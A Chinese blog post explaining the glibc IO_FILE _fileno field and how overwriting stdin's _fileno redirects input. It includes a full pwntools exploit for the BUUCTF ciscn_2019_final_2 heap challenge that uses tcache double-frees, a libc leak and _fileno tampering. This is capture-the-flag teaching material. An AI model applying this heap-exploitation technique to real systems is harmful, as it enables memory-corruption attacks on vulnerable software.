IO_FILE——_fileno
_fileno 是 stdin 文件里的一个字段,在 x64 系统里,偏移为 0x70。
以下是 IO_FILE 结构体:
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; struct _IO_FILE_complete { struct _IO_FILE _file; #endif #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 _IO_off64_t _offset; # if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; # else void *__pad1; void *__pad2; void *__pad3; void *__pad4; # endif size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; #endif };
而 _fileno 里储存的是文件描述符,比如 stderr 的 _fileno 为2,stdout 的 _stdout 为1。可以利用修改 stdin 的_stdout字段来重定位文件。原来的0代表从标准读入中获取,修改为666即代表从文件描述符为666的文件中读取。
比如 BUUCTF ciscn_2019_final_2
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = remote('node4.buuoj.cn',25336) #s = process('./ciscn_final_2') libc = ELF('././glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def add(type,number): s.recvuntil(b'> ') s.sendline(b'1') s.recvuntil(b'>') s.sendline(str(type)) s.recvuntil(b'your inode number:') s.sendline(str(number)) def delete(type): s.recvuntil(b'> ') s.sendline(b'2') s.recvuntil(b'>') s.sendline(str(type)) def show(type): s.recvuntil(b'> ') s.sendline(b'3') s.recvuntil(b'>') s.sendline(str(type)) def exit(): s.recvuntil(b'> ') s.sendline(b'4') add(1 ,0x30) delete(1) add(2 ,0x20) add(2 ,0x20) add(2 ,0x20) add(2 ,0x20) delete(2) add(1 ,0x30) delete(2) show(2) s.recvuntil(b"inode number :") addr_chunk0_next = int(s.recvuntil(b'\n',drop=True)) - 0xa0 success('addr_chunk0_next=>' + hex(addr_chunk0_next)) add(2, addr_chunk0_next) add(2, 0) add(2, 0x91) for i in range(7): delete(1) add(2 ,0x20) delete(1) show(1) s.recvuntil(b'inode number :') libc_base = int(s.recvuntil(b'\n',drop=True)) - 96 -0x10 - libc.sym['__malloc_hook'] success('libc_base=>' + hex(libc_base)) _IO_2_1_stdin_ = libc_base + libc.sym['_IO_2_1_stdin_'] _fileno = _IO_2_1_stdin_ + 0x70 add(1 ,_fileno) add(1 ,0x30) delete(1) add(2, 0x20) delete(1) show(1) s.recvuntil(b"inode number :") addr_chunk0_next = int(s.recvuntil(b'\n',drop=True)) - 0x30 success('addr_chunk0_next=>' + hex(addr_chunk0_next)) add(1,addr_chunk0_next) add(1, 0x30) add(1, 0x30) add(1,666) exit() #gdb.attach(s) s.interactive()
本文来自博客园,作者:{狒猩橙},转载请注明原文链接:https://www.cnblogs.com/pwnfeifei/p/15782643.html